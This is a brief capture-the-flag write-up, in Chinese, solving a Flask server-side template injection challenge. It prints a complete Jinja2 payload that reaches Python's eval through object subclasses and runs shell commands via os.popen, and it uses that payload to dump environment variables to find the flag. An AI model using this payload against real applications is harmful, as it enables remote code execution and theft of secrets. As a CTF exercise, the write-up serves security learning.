[Flask]SSTI 1
根據題目判斷這是一道SSTI引數處理不當的漏洞,開啟頁面顯示Hello guest,猜測引數名為user
發現頁面無任何變化,於是嘗試name,成功回顯
嘗試{{2*2}},頁面顯示4,存在SSTI注入
構造payload,成功執行任意程式碼
# payload的解釋:獲取eval函式並執行任意程式碼
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("任意程式碼執行的地方").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
檢視根目錄(ls /),未發現flag檔案,便猜測在env環境裡面,成功找到flag
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}